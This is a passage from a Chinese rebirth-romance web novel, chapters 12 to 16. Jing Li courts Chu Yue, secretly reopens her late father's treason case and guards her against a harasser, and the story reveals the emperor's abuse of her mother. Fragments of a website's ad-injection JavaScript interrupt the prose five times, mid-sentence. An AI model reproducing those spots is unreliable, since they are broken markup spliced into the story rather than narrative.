楚悦就是不相信,他的爹爹春要赏花冬要煎雪,承诺要陪娘亲走边大晋河山,他那么热爱大晋与他的一切,怎么会因为他人给他定了罪,连命都不要了。 一直憋在心底的那口气,在这一刻好像松动了。 楚悦暗暗平复了下心情,打发楚昕:“你去帮帮孙大哥,我有些事想请教世子。” 楚昕直觉是和爹爹有关,但他也知道姐姐的性格,不想让他参与的事绝对不会让他参与。 楚昕点点头:“好。” 楚昕的腿伤好了以后,就搬回了正房的东屋。姜氏老两口见景萱和孙仲常来,考虑到万一遇上风吹雨打的,将楚昕临时住过一段的东厢北屋布置成了会客厅。 楚悦放下茶壶,看向方桌前的景璃:“世子能否借一步说话?” 景璃没有十足的把握劝她为他留下来,只好迂回着来,在不伤天理人伦的前提下,就算被认为手段不大光明他也认了。 景璃站起来:“阿悦请。” 闻言,楚悦低垂的眼睫轻轻颤动。 他的声音又低又沉,院子里的人都能听见,他这样称呼她,显得他们很熟悉一样。 进了厢房,景璃主动开口:“阿悦有什么想问我?” 又来了,尤其是他看她的时候,目光里仿佛饱含了许多她看不懂的内容。 楚悦虽然对他很有好感,也容易被他牵动心绪,却也明白他那样的人不是她能肖想的。 这一次他凯旋归来,想与国公府结亲的人恐怕更多。 定了定心神,楚悦垂眸避开他的注视:“有关我爹爹旧案,世子的消息来源是否可靠?” 这一刻,景璃无比庆幸他是重生而来,战事也好,当年的案情也好,他能掌握先机,掌握先机意味着游刃有余。 景璃:“重查旧案的人是刚刚提拔上来的石御史,以刚正不阿闻名,石御史之前在和州任参将,擅长与番邦打交道,有他在,王爷案情必定能水落石出。” 如此说来,这石御史真是调查爹爹的案子的绝佳人选。 就像是在沙漠中行走许久的人,面前突然出现一片绿洲,楚悦也看到了希望。 心里激动,面容上也透出几分,楚悦真心实意感激景璃:“多谢世子告诉我这些。” “阿悦不必同我客气,”看着姑娘眉梢不经意流露出的喜意,景璃趁机提出:“等案情查清之前,不如让阿昕去家塾学习一段时日,他底子虽然不错,到底荒废了几年,不可再蹉跎。待情况稳定些,再送他去更好的书院。” 闻言,楚悦紧紧捏住袖口。 他先是给弟弟找来孙仲医治腿伤,后来赠她白玉簪,楚悦可以勉强说服自己他在帮不会说话的妹妹交朋友。 可他这样不厌其烦地关照楚昕的学业,甚至考虑到了更长远的以后,她无法用同样的理由说服自己,也无法若无其事接受。 姑娘浓长的眼睫颤了又颤,终于期期艾艾开口:“世子为何这样关照我们?”她不知道该拿出什么报答。 景璃一怔。 原来在姑娘眼里,他的意思还不够明显。 目光沉沉落在姑娘桃花般明艳的面庞上,景璃喉结轻滚:“阿悦应该看得出来,我心悦你。” 楚悦愣住。 她心底藏着他,偶尔也会偷偷幻想他也喜欢她。 但就算是在幻想里,也没想过他会以这样平常的态度说出这样重要的话。 楚悦捂住脸,轻轻摇头:“世子别这样。” 这太突然了。 他们甚至没有几次正经来往,每一次都是他冷脸相对,而她偷偷躲在一旁不敢上前结束。唯一不一样的,是他出征前一日突然来找她。 如今又隔了一年多,更是全无交流。 他怎会无缘无故心仪她,她有什么值得他喜欢的呢。 静寂的屋中传来一声叹息,带着无尽的落寞:“原来只有我还记得,太后娘娘当初的话。” 楚悦的心止不住猛跳了下。 太后娘娘曾拉着她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的手开了个玩笑,问她长大后嫁给景璃好不好,那时她还是宁安郡主,满屋子的女眷都围着她与太后娘娘凑趣。 他没有出现在人群里,但她知道他在场,但他什么表示也没有,这些年她就一直以为只有她记得太后娘娘的话。 离那场热闹已过去五年,时光荏苒,一切早已物是人非。 楚悦也冷静下来:“不过是玩笑话,世子不必放在心上。” 这傻姑娘。 勇敢的时候敢冲入战场拼命,更多的时候是胆小得不得了,直到临终前才坦诚心意。 景璃走近垂眸不再看他的姑娘:“可我当真了,一直都记得。” 才没有。 楚悦后退两步,避开他靠近:“时间不早了,世子请回吧。” 景璃望着走出门口的身影,重生后头一次生出手足无措的感觉。 他知道不能操之过急,但觉得坦诚心意总不会错,告诉姑娘他的想法也不会错。 可他好像搞砸了。 他不明白,前世她一直牵挂着他,这一回他提前袒露心迹了,她的反应为何是那样。 因为这一场意外,所有人都看出了楚悦在躲景璃。 景萱偷偷问自家大家:“发生了何事?” 景璃看了景萱一眼,欲言又止。 孙仲再去问,就被景璃瞪了回去。 问楚悦她也什么都不说。 就这样,由于景璃的气势过于强大,楚悦的心思又太过细腻敏感,在楚悦再次说出世子请回之后,孙仲和景萱也不好再留下来用午饭,同景璃一起离开了姜家。 楚昕见不得楚悦不高兴,快人快语:“景大哥惹姐姐生气了?” 楚悦摇摇头:“他没有惹我生气,是有些事情还没清楚,不适合同他走得太近。” 她骗不了自己,当他说心仪她的时候的确心动。 但不应该这样突兀。 姐弟俩说话的时候老两口也在附近,听明白了,就没有再追问。 到了只剩自己的时候,楚悦觉得自己没有做错。 因为他的表白太过反常,心动的情绪反而被疑惑取代,她更想知道他为何突然这样。 13. 第 13 章 离开姜家后,景璃让长安先护送景萱回去,出了延贤坊西门一直往北走,进了西市一家酒肆。 热情胡姬迎出来,打量二人的穿着,将人引至二楼的雅间。 从离开姜家到这里,景璃一句话也没有说。 孙仲习惯了他的性子,也知道自己大约触了景璃的禁忌。 几次张口,一对上景璃冷峻的目光,就将话咽了回去。 等酒菜上齐,孙仲打发前来询问是否需要助兴的乐手,关上雅间的门,提起酒器给景璃斟满一杯酒,本着伸头缩头都有一刀的原则,开口:“景兄你听我解释。” 原本拿背对着他的景璃终于看过来。 孙仲舔了舔嘴唇,鼓起勇气对上他的目光:“我之前并不知道你对楚姑娘有意,猜到后就没有别的想法了。” 他和景璃同岁,今年二十二了,家里催得急,总念叨让他先成家再立业。 成家哪里容易,既要合眼缘,又要相处得来。 所幸他了解景璃,知道这人最怕麻烦,不会无缘无故将麻烦招到手里。 既然是景璃特意让关照的人,品行必定过得关,他这才将目光落在楚悦身上。 事实证明,这姑娘的确与普通姑娘不一样。 哪知道,之前信誓旦旦说不会成亲的人莫名其妙改变了主意。 景璃同样清楚孙仲的为人,知道他虽会为了责任成亲,但会善待将来妻子。 他只是没有想到,孙仲也会那样快就发现阿悦的好,将念头打在阿悦身上。 不过,他介意的,其实是另外一件事。 “你之前答应过我,离阿萱远些。” 话刚落音,原本握着酒杯的手一顿,英俊的面容上闪过不自然。 端起酒杯碰了碰景璃面前的,孙仲没再多说什么,举起酒杯一饮而尽。 但心里到底不甘。 因为景璃的一句话,他很长一段时间没有在景萱面前出现过。 若不是去年上巳碰巧遇上了,他也不会猜到景璃的打算。 凭什么景璃能够改变决定,他却不能。 再给自己斟上一杯,孙仲面露讽意:“你与我不同,在圣上眼里,太医署与尚药局只是伺候人的奴仆,翻不起什么浪花,不会去关心孙家的子侄是否有出息,也不在意有谁新进门;但你是武将,能左右国家的命运,如今风头又盛,最忌被人戒备猜忌。圣上虽然对阿悦姐弟网开一面,绝不会允许他的得力干将娶个有叛国之嫌的罪臣之女,你眼下倒是志在必得,可想过如何长久?” 景璃看向孙仲。 这其中的难度,早在他知道自己重生的那一刻就想到了。 饮尽杯中酒,景璃淡淡开口:“阿悦那里我自有安排,与你无关。我知道你心里不服,但若真的为了阿萱好,还请放过她,你们更无可能长久。” 前世孙仲与景萱两情相悦,但景萱开不了口,孙家虽不介意门第,却无法接受一个哑女成为最有出息的孙子的妻子,他最终还是屈于现实娶了别人,夫妻和顺,儿女双全。 作为好友,景璃明白孙仲对于家族的责任,无法苛责孙仲什么。 孙仲娶亲后,景萱很快嫁给了不嫌她之人。 然而那人藏得太深,看中的只是景萱出身国公府,成亲后并不善待她。 作为大哥,他不会让悲情重现。 孙仲先是被景璃的笃定气笑了,随即忍不住自嘲:“照景兄的意思,你能排除万难得偿所愿,我却连追求所想的机会都不配拥有。” 景璃点头:“是。” 孙仲:“……” 孙仲咬牙:“景兄不知你这话极为招人恨。” 当断不断反受其乱,景璃真诚开口:“放下吧。” 孙仲又饮了一杯:“我知道了。” 景璃同他不一样,说要打败西戎复仇就将西戎打得只剩一口气;说在立业之前决不成家就从未接受过任何女子的示好,也从不给任何人念想。 他却总有各种各样的顾虑。 大约是越缺少什么,就会越向往什么,这也是为什么他愿意追随景璃这个朋友。 * 自从得知石御史在调查爹爹的案子,楚悦就恨不得奔向御史台当面陈情,请他务必要还爹爹清白。 但御史办公之所非常人能及,楚悦打听到石御史在京城的居所,蹲守了几日,她始终没能见人。 好在此行并非一无所获,她无意中得到了一个消息,石御史在曾在景璃的父亲的手下任过职。 楚悦忍不住去想,三年了,爹爹的案子一直悬而未决,石御史却突然重查爹爹的案子,其中不会有景璃暗中推波助澜。 摇摇头,景璃很快打消这个念头。 除了在城外景璃救过他们姐弟一次,两家再无别的交情。 且爹爹这案子特殊,但凡说过情的,都没有好下场。 无缘无故地,他没有必要趟这一趟浑水。 诚然他说过他心仪她,但这说不通,毕竟之前不见一点端倪。 想不通,楚悦就决定不想了。 从石御史所住的通平坊出来时已是下午,虽过了一日中最热的时候,走到半路,楚悦还是出了些汗。 她不慌不忙走着,同时继续想接下来的安排。 从私心上来讲,她想等案情水落石出后再回霖州。 她总觉得,爹爹来京城时清清白白,对他最大的告慰是将他清清白白带回去。 姜爷爷与姜婆婆知道她的心思,也支持她留下来,不着急回去。 这样一来,就不得不考虑景璃的话,阿昕的学业不能再耽搁了,得抓起来,毕竟谁也说不准何时能完全结案。 他倒是提议让阿昕去国公府的家塾去学习,她也知道那是一个很好的选择,还是因为心里没底的缘故,不敢贸然答应。 人真的很奇怪啊,之前不知道爹爹的案情有进展的时候,常常感到愤懑;如今看到了希望,又开始为别的事发愁,就不能不愁么? 今后愁不愁的,楚悦不清楚,这一刻她却结结实实发愁了,有人挡住了她的去路。 一道轻佻的声音在面前想起:“楚姑娘,别来无恙啊。” 楚悦不得不顿住脚步。 就算隔了一年多,楚悦绝不会忘了这人。 他就是之前调.戏她和打断弟弟的腿 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的凶手,黎青。 楚悦讨厌这个人,脸色冷冷地:“让开。” 在黎青眼里,这姑娘好看得惊人。 因为微微出汗的缘故,楚悦白皙的面庞上透着淡淡的粉,桃花一般夺人心魄,尤其是那双红润的唇,让人看着就想吻上去。 想着上次让她逃走了,黎青遗憾了许久。 靠近之前他特意打量了一圈,这一回那个死人脸景璃不再。 上次他挨了一顿好打,这一次总不至于又被他坏了好事。 “姑娘好狠的心呐。” 一拖一拽,黎青在路人的侧目中将楚悦逼入就近的巷子,露出志在必得的笑容,“这么多天不见,我可是一直惦记着姑娘,咱们谈谈。” 楚悦皱眉:“我同你没什么可谈的,快让开,当心我叫人。” 黎青舌尖抵着腮肉,贪婪地将楚悦上上下下打量了一圈,自得地笑:“叫人有用的话,你为何会被我拖入这里,你看着路上人来人往,有人敢管么。” 他姐姐可是正值盛宠的贵妃,除了景璃那个没有眼力的,谁敢惹他。 楚悦后退:“你放了我,你敢乱来我就去告御状。” 她转身要离开,黎青大步跨上前,将楚悦逼到墙边:“别给脸不要脸,你家落败了,你也不再是宁安郡主。爷今日心情好,你若能哄得我高兴,之前的事就算了,我就不同你计较,还将你接入府里当姨娘,给你住最大的院子。到时连带着你弟弟也有了依靠,何乐而不为呢。” “呸!” 这人就是这样无耻,仗着姐姐是贵妃就无法无天。 上次楚悦试过讨饶,结果这人变本加厉。 那么就没什么客气的了。 目光看一眼这人身后,楚悦穷尽所学,用她知道的最狠毒的词骂他:“你也不找面镜子看看你自己,尖嘴猴腮腿短身长,模样都没有长周全的东西,谁看得上你,就是给我家看门也嫌脏了眼睛。” 闻言,黎青脸上的狞笑僵住。 她竟然骂自己丑!黎青感觉到一股热血直冲脑顶,他恶狠狠扬起手:“臭婊……” 话未落音,黎青扬在半空中的手被人攥在手里。 “疼!”黎青虾着身子艰难转身,看到来人顿时变了脸色,“怎么又是你们?” 其中一人淡声开口:“黎公子,我们之前警告过您。” 想起不愉快的记忆,黎青一把鼻涕一把泪求人将他放开。 “滚!” 目睹黎青仓皇逃走,楚悦看着面前两个做寻常百姓打扮的男子:“你们是什么人?” 其中一个看起来和善些的开口:“回楚姑娘的话,我二人受世子所托,守在姑娘左右。” 楚悦一惊,她怎么不知道有这两个人存在,听黎青的意思,这两人不止一次在她身边出现过。 又是景璃,怎么哪里都有他啊,他到底要干什么? 这两人没有攀谈的意愿,很快消失不见。 楚悦没有多做停留,径直回到家中。 不曾想刚到屋门口,就看到一道熟悉的身影。 疑问太多,楚悦忘了羞涩,走过去问他:“世子为何在此?” 14. 第 14 章 楚悦走近了发现,景璃并非一个人来的,他身边跟着一名中年文士。 景璃跟楚悦介绍:“这是邵先生,是阿昕之前的先生的师弟,他听说阿昕需要先生,想将阿昕收于门下。” 楚悦震惊地看向景璃,定下心神,和人见礼:“邵先生。” 清瘦文雅的邵先生笑得和善:“之前听师兄听说世子很有念书的天分,可惜他年纪大了不方便来京城,一直颇为遗憾。郡主和世子若不嫌弃,还请成全我助师兄圆梦的心愿。” 楚悦又看了眼一旁山一般稳当的景璃,不用想,这邵先生是景璃为楚昕找来的。 她很想答应,但理智告诉她事情不一般。 楚悦客气开口:“先生大义,小女感激不尽,只是舍弟耽搁学业已有些时日,为免辜负先生的好意,还请先生先看看舍弟的能力能否跟得上。” 文人自有风骨,她不知道景璃和邵先生如何谈的,作为姐姐,他希望邵先生心甘情愿教人,所以有必要让邵先生了解楚昕的学业后再决定收不收他,而不是迫于景璃的权势不得不教他。 邵庭眼前一亮,这姑娘倒是心细。 姐姐如此通情达理,弟弟想来也查不了,邵庭笑眯眯开口:“劳烦姑娘了。” 说完,楚悦让弟弟来向邵先生讨教,她自己带景璃去会客厅。 她积攒的疑问太多了,到了非弄清楚不可的程度。 姜婆婆送了茶水进来。 自楚悦替景萱画小像之后,老少四口的手头活泛许多,能够买不错的茶叶招待贵客了。 分主宾在窗前的炕床上坐好,楚悦执起茶壶,柔韧的皓腕轻轻一勾,琥珀色的茶汤倾泻而下,浇在茶盏里,溢出淡淡的芬芳。 隔着矮几,景璃楚悦专注而沉静的脸,这是触手可及的距离,有种现世安稳的的惬意。 茶沏好了,楚悦放下茶壶,抬起头,撞上一双深沉又灼热的眼。 又来了。 楚悦垂下眼睫。 他又用这种眼神看她了。 借着整理衣袖的动作掩饰,楚悦在脸红之前开口:“你为何要派人跟着我?” 景璃眸光一顿:“黎青又来烦你了。” 果然是他。 楚悦鼓起勇气抬起头,被他突然沉下来的脸弄得有些无措,连忙摆手:“我没事,你的人将他赶走了。” 景璃:“今后你要出门提前告诉长安或者我,黎青这人卑鄙又龌龊,万一他卷土重来。” 楚悦:“所以石御史重查爹爹的案子,也是因为世子暗中相助?” 对上姑娘明亮澄澈的眼,景璃大方承认:“是。“ 他并不想刻意显摆,但也想有机会告诉这姑娘,她不用再独自支撑,他会是个有力的依靠。 果然是这样,楚悦捏紧袖口。 虽然心中隐隐有答案,但由他亲口说出来,心中还是忍不住滚烫。 给楚昕找大夫、景萱的有意关照、爹爹的旧案重启、给楚昕找先生……更有甚者,他早就派人暗中守在她周围。 理由么,他已经亲口说过。 知道他在看自己,楚悦微微别开视线,看向窗外摇曳的桂花树,轻轻开口:“为何是我?” 她如今只是个平民,爹爹还是戴罪之身,没人知道圣上还会不会再清算他们家。 而他呢,才打完胜仗,正值盛宠,爱慕他的世家贵女那么多,他就一点不懂得避嫌,不怕受到牵连么。 为何呢?景璃认真想了想。 第一次见她时她十三,他十八,说他第一眼就心动似乎显得龌龊,也很难令她相信他第一次见面就将她藏在了心底。 目光落在姑娘桃花般红润的面庞上,景璃说出最容易令人接受的答案:“因为合眼缘,且你是唯一一个不畏惧我的女子。” 楚悦怔住。 因为太过惊讶,她下意识看向景璃,也就对上他那双满是自嘲的眼。 诚然他面无表情的时候的确有些渗人,但那只是假象。 楚悦开口:“你怎会这样想,你只是看起来有些冷漠,其实人很好,大家不了解你才会害怕你。” 真是个单纯的姑娘,景璃心底一片柔软,虽然他这些小手段有些不地道,但姑娘的关切的确会令他感到窝心,甚至享受。 景璃看着她:“可除了你与阿萱,其他人并不这样想。” 知道他是因为她不怕他才会对她另眼相待,楚悦反而松了口气,贴心提议:“你平时笑得太少,你多笑笑,大家就不怕你了。” 景璃挤出笑容:“这样?” 楚悦:“……” 他生得高大伟岸,五官又锋利,加上这几年在战场上历练,本就冷峻的气势更加逼人。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>但他这样笑起来反而更令人害怕了,仿佛随时就能砍人似的。 楚悦:“你若不想笑,不笑也没关系。” 景璃默默叹了口气,一向坚毅冷肃的面庞上露出几分落寞。 楚悦忍不住有些自责,她好像说错话了。 他这落寞持续的时间虽然不长,她还是看到了。 她只是怎么也没想到,看起来高高在上的人会有这样的一面,爱慕他的女子那么多,却没有真心接纳他,不怕他的。 但两人之间的悬殊还是差太多了,楚悦也不觉得光靠这一点特别就能克服一切,万一将来他再遇上个不怕她且家世好的姑娘呢。 喜欢归喜欢,楚悦没有完全失去理智,避开景璃直白的目光:“往后的日子还长,世子不必急着下定论。” 景璃:“阿悦讨厌我?” 楚悦的脸不受控制红了:“没有。” 她怎么会讨厌他呢。 但人都会贪心吧,她不再从前那个无忧无虑的小郡主,她的喜欢不仅是喜欢,她承受不了不能善终的结果。 更何况,受了他那么多恩惠,她不想连累他。 景璃猜测她还有顾虑,但满心都是她承认了一点都不讨厌他。 看他抬手,楚悦以为他要握她搁在矮几上的手,猛地往后挪了挪。 景璃静静看着楚悦,在战场上杀伐果断的人,却说了句与他的气势完全不符的话:“原来阿悦也怕我。” 楚悦看着景璃拿起茶壶,将她面前的茶盏斟上:“……” 她恨不得捶自己一顿,在想什么乱七八糟的。 院子里传来动静,楚昕和邵先生出来了。 楚悦起身站起来,没再看身后的人,拨开门帘从会客厅走出去。 “姐姐。” 楚昕小跑着迎过来,满怀期待:“我能不能去跟邵先生学习?” 邵先生也微笑朝这边看过来,对楚昕很满意的样子。 楚悦没办法拒绝弟弟,更不能被邵先生认作不识抬举,只能硬着头皮点头。 “太好了!”楚昕欢喜雀跃。 楚悦感觉到身侧多了个高大的身影,抿抿唇,她不用看也知道是谁。 很快,她听见一道低沉的男声:“我明日来接阿昕。” 以为躲过一劫的楚悦:“!” 不对劲! 15. 第 15 章 楚悦也是答应之后才知道,邵先生并非专门来教楚昕的先生,他之前在定国公府教导景璃同父异母的弟弟景琮。 等院子里的其他人走了,景璃来到楚悦面前:“不高兴了?” 楚悦:“世子好心给弟弟请先生,我有什么不高兴的。” 景璃心中一叹,还是惹她不开心了。 垂眸看着姑娘微微鼓起的面颊,景璃温声解释:“我想常常见到你。” 楚悦咬唇,耳尖开始发烫。 在他回京城之前,他在她心里一直是只可仰望的存在,结果发现这人和他想象中的完全不一样。 在她还不知道他对她也有好感的时候,他就已经开始盘算一切,并付诸行动。 他像个心思缜密的猎人,一步步在她身边布下陷阱。 弟弟的伤是他让人治好的,先生是他请的,他们的生活也是他暗地里帮忙改善的,安全是他保障的,连爹爹的案情都是他暗地里主导的。 他帮了她那么多,她这个猎物就算想怪他都没有理由。 情感上,她一点都不讨厌他,甚至感动他为她做了这么多;但每一次见面,她都忘不了他们二人的差距,国公府要的是与他门当户对的世子夫人。 “很为难?” 头顶响起低沉的声音。 因为身高差的缘故,楚悦得抬头才能看到他的脸。 四目相对,楚悦从他眼里看到了执着与炽热。 更觉得自己是猎物了。 楚悦慌忙低头,别开他的目光。 前些时日帮景萱画小像,楚悦从她那里看了不少缠绵悱恻的话本。 大概两人的身高体型相差太大,总觉得他并非发乎情止乎礼之人,真到了最坏的局面,她肯定不会令他为难,而她又该如何抽身。 景璃往前走一步,两个人离得更近了:“阿悦之前不怕我是哄我的?” 楚悦愣住。 视野里出现一双修长的腿,坚定、有力,与此同时,体型差带来的压迫感更明显了。 她想躲。 可脑海里却是他说这话时的脸,以及脸上的苦涩与落寞。 努力将自己定在原地,楚悦鼓起勇气:“没有怕你。” 哎……为何偏偏让她见到他这一面,令人不忍的一面。 看了眼越来越近的邵先生与楚昕,景璃开口:“在你真正不害怕我之前,我不会再来烦你。” 他有的是耐心。 楚悦也听见动静,看着那双腿消失在视野中。 不多久,和楚昕约好时间,景璃和邵先生离开了姜家。 送走两位贵客,楚昕很兴奋:“姐你放心,等到了国公府我一定努力学好本事,早日为爹爹洗刷冤情,绝不堕了王府的威名。” 十三岁的少年之前养尊处优,家里落败之后才发现自己什么都不会,唯一能帮姐姐的就是听姐姐的话,不给姐姐添麻烦。如今终于看到有所作为的机会,怎能不激动。 楚悦本想像之前摸摸弟弟的头,但弟弟已经和她一样高了,她拍拍弟弟的肩膀:“专心读书,其它的先不要多想,是非曲直自有大白之日。” 楚昕郑重点头:“我听姐姐的。” 楚悦:“你收拾一下,我去给你缝个书袋。” 当天夜里,楚悦连夜给楚昕缝制书袋,走神的时候忍不住想,景璃那样的人,看起来冷漠又疏离,一副断情绝爱的样子,怎么会在意女子是否怕他呢。 这会不会是故意让她心软啊?! * 第二日是个艳阳天,这是时隔多年后楚昕第一次正式出门接受先生的教导,老少几人都很重视。 用过早饭,楚悦领着老两口将楚昕的一应用具又清点了一遍,然后等景璃在约定是时辰出现。 卯时过半,景璃准时出现在姜家门口。 简短打完招呼后,景璃沉默着从楚悦手中接过书袋,领着拎着束脩的楚昕离开。 延贤坊乃平民居住之所,而兴义坊世家贵族遍地,但两坊之前只需要一刻多钟的脚程。 天还早,路上的行人不多,景璃看向身侧与楚悦有五分相像的楚昕:“会骑马么?” 楚昕:“会一点。” 他身体弱,骑马也学得慢,刚敢由爹爹牵着坐在马上,爹爹离开了霖州,他答应回去后教他的,可惜他们都再也没能回去。 不愿当着别人想从前的事,楚昕重新绽出笑容:“景大哥为何对我们这样好?” 楚昕还小,景璃不好说他是想守护楚悦和她的家人,看着前方开口:“之前受王爷指点,不忍见你们遭遇不公。” 楚昕没有怀疑。 刚开始那两年景大哥并没有格外关照他们,家中刚出事不久那一阵,所有人都顾着避嫌,离他们远远的。有一次在门口偶遇景大哥,景大哥私底下交待他要听姐姐的话,莫要丢开学业。 他一直默默记着,景大哥如日中天,他们的日子也越来越好。 楚昕用崇拜的目光看着景璃:“景大哥今后不用这么麻烦来接我,我认得路,自己去府上吧,景大哥放心,我会尽量避开旁人的目光。” 景璃好奇:“为何要避开旁人?” 楚昕往四周看了看:“姐姐说,爹爹的案子悬而未决,在外还是得注意些,不能连累府上。” 景璃一怔,这傻姑娘。 还是他醒悟地太迟,以至于从前无忧无虑地姑娘竟然谨小慎微到这一步。 他随即开口:“你放心,王爷清清白白,你们自然可以大大方方地,放心与任何人来往。” 楚昕喜笑颜开:“真的?” 景璃点头:“千真万确。” 说起来,今日的荒谬局面源于一件隐秘的往事。 十七年前,还是太子的圣上在湘王等大臣的支持下艰难杀到京城,为得到中立的清流支持,太子决定与左丞相晏通的孙女联姻。在与晏姑娘来往的过程中,太子看上了晏姑娘的好友,也就是阿悦的母亲,孤女姜菱。 姜菱不愿掺和他人的情感,更不愿意入宫,但这并不能打消太子的念头。 太子登基第一年,醉酒之后强要了姜菱。 在姜菱万念俱灰之际,湘王向姜菱表明了一直藏在心底的心意。皇后不知用了什么方法,令圣上误以为宠幸的是别人,并向太后请了懿旨,赐婚湘王与姜菱。 两人成亲后,湘王带着王妃就藩,同年冬天,湘王妃早产生下阿悦,三年后诞下楚昕。 夫妻俩一心驻守大晋西南边境,再也没有回过京城。 直到熙和十三年春,湘王彻底平定百部之乱,赴上京述职。 哪一年恰逢太后七十大寿,湘王妃应皇后之邀为太后贺寿。 有人嫉妒湘王立下的不世之功,状告湘王受贿,而年纪越大越昏聩的圣上见湘王妃风采不减当年,以湘王的安危要挟王妃入宫,以圆当年的念想。 圣上低估了湘王妃的烈性。 湘王妃仓皇逃出宫后,她不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 肯令湘王蒙羞,自尽以全名节;在狱中得知王妃去世真相后的湘王,绝食反抗无道昏君。 圣上震怒于湘王夫妻的决绝,查抄湘王府,重赏诬告之人。 在皇后与太后的周旋下,勉强放姐弟俩一条生路。 这是景璃派人暗中查了一年多的结果,姐弟俩迄今都不知道父母去世的真正原因。 知晓的细节越多,越是对真相感到愤怒,这也导致他想换一片天,改一改所有人的结局。 * 一刻多钟后,就到了定国公府。 国公府很大,但人不多,还是如记忆中一般冷清。 景璃将楚昕带到前院的东晖堂,两人到时,邵先生已经到了,干劲十足的样子。 寒暄完,楚昕听到小心翼翼地催促声:“今日楚公子会来学堂,第一回见面,公子上点心吧,迟到多不好看。” 回答的声音很无赖:“他请的人,与我何干,为何要给他面子。我说常叔,你可真是越活越回去,怕是忘了当初谁给爹爹说情,将这管家之位给你的吧。” 常管家头都大了,但他面对的是无法无天的主子,只能尽力劝:“我说公子,小的求求您了,别一口一个他他他了,世子爷好歹是您兄长,是这个国公府的当家人。” 一不小心听了国公府的家事,楚昕眼观鼻鼻观心。 这么些年过去,这国公府的二公子与景大哥的关系还是那么僵。 邵先生沉着脸走出学堂,先开口了:“二公子。” 景琮神情一顿,笑嘻嘻拱了拱手:“先生今日怎么这么早?” 话刚落音,他透过开着的窗户看到了景璃,以及景璃身侧的楚昕。 景琮勾起唇角,毫不掩饰眼底浓浓的讽刺,挑衅地看向景璃。 楚昕默默比较,相对景琮而言,他真的算是个好弟弟了。 景璃没搭理他,只在离开前看向邵先生:“这两人就交给先生了,您放心管教,缺胳膊少腿也不要紧。” 景琮顿时明白这是在针对他的,不服,追上景璃:“你什么意思?” 景璃:“你可以理解成任何意思。” 若不是这小子前世没有坏到底,真不想管。 另一边,快入夏了,因为楚昕要出入国公府,楚悦与姜婆婆去西市买了些布回来,打算给楚昕做两身夏装。 老少俩边忙活边闲聊。 楚悦一直知道母亲原本只是个平民之女,父亲却是有实权的王爷,她一直很好奇父母如何能走到一起,还恩爱了那么多年。 看着将母亲带大的姜婆婆,楚悦斟酌着开口:“婆婆可还记得,我娘当初为何能下定决心嫁给爹爹?” 提及往事,姜婆婆裁衣的动作一顿。 她当然记得,姑娘当初与王爷互有好感,只不过碍于身份姑娘不敢多想,哪知道…… 正因为见过不平,目睹定国公世子的所作所为、以及姑娘面对世子的种种反应后,她才一句话劝阻的话也没有说。 以姑娘的容色与身份,与其被不怀好意的人觊觎,还不如过好当下。 姜婆婆看着楚悦微微泛红的脸,笑:“王爷虽位高权重,人却体贴,看着也不是始乱终弃之人,他倾心王妃,说明王妃在他那里有不可取代之处,那就大大方方地。 既然彼此都有意,何不试试,往好的方向努力。” 对上姜婆婆慈祥的目光,楚悦忽然有种错觉,姜婆婆说的似乎并非是在说父王与母妃,而是对她说的。 16. 第 16 章 傍晚,景璃又来了,但他只将楚昕送到了门口。 楚昕:“景大哥进去坐坐吧。” 在院子里喂鸡的姜婆婆也迎出来,在一旁邀请。 景璃知道她就在屋里。 她还有顾虑,说明还有些事情他没做到位。 景璃:“不用客气,今日就不打扰了,稍后还得出去一趟,下回再来。” 得知景璃有事还先送自己回来,景璃更感激了:“景大哥慢走。” 毕竟京城有宵禁,快关坊门了,耽搁他回家可不好。 楚昕关上大门,插上门栓,厨房门边的楚悦走出来,问楚昕学堂里的情况。 她之所以藏起来,倒不是怕他,是还没有完全确定以什么样的心境面对他。 楚昕一一说了,当楚悦听说二公子景琮对景璃很不尊重,有些替景璃难过。 十多年前的那场叛乱,不仅改变了朝廷的格局,也改变了许多人的命运。 景璃随母亲与祖母历经万难回到京城时,他的父亲已经另娶,国公府已经有了新的国公夫人和世子。 在老夫人的强势干预下,景璃保住了世子的身份,但后来的人也觉得委屈。 所以景琮一直不服景璃,觉得是他抢走了他们母子的安稳与幸福。 不过,这不是她置喙的了。 景璃还是坚持接送楚昕,他说话算话,接下来几日都没有贸然在她面前出现过。 直到半个月后,景璃在将楚昕送到后提出要见楚悦一面。 傍晚了,夕阳将两人的影子拉得很长,仲春的日头温暖不炙热。 景璃取出一封信交给楚悦:“阿萱给你的,说有事请你帮忙,希望我能将答复带回去。” 既然现在就要答复,楚悦当着景璃的面拆了。 楚萱在信里说,书坊那边有点事,得由她亲自出面,可她自己去犯怵,想请楚悦陪她去一趟。 楚悦毫不迟疑答应:“麻烦世子和阿萱说一声,我等她。” 因为不会说话,没人愿意和景萱来往,久而久之,景萱也就更加不爱出门,她好不容易鼓起勇气走出家门,身为好友的她当然要去陪她。 景璃说好。 前世这个时候,他与主帅深陷敌营,阿悦以亲王之女的身份被封了公主,即将踏上和亲之路。 傍晚的暖风轻轻吹拂,吹动了姑娘轻软的额发,也垂在她吹弹可破的面庞上。 虽不知她与堂妹约定了什么,但景璃乐于见到她们彼此陪伴。 夕阳越来越低,抬头望了望天,楚悦开口:“不早了,世子请回吧。” 景璃点点头。 在她真正安心之前,景璃不想逼她,他有的是耐心。 * 第二日,景璃又来接楚昕,不过这一回景萱也乘着马车一起来了。 等景璃和楚昕先走,两个女孩子收拾一番,登上了马车。 楚悦问景萱:“书坊那边出了何事,我怎么帮你?” 景萱用手语告诉楚悦:“之前给书坊写话本的书生准备回乡备考,书坊那边的管事问我怎么办,我倒是找了个人,让人写了一段,但不知管事如何看。管事与你我一样,同是女子,我自己可以应付,就是难得出门一次,想去西市转转,一个人不敢。” 楚悦松了口气,书坊没事就好:“正好,我也好久不曾逛过。” 爹娘出事后,她就再也没有逛过。 知书坊就开在西市,抵达后,景萱去和管事谈事,楚悦就在知书坊里等她。 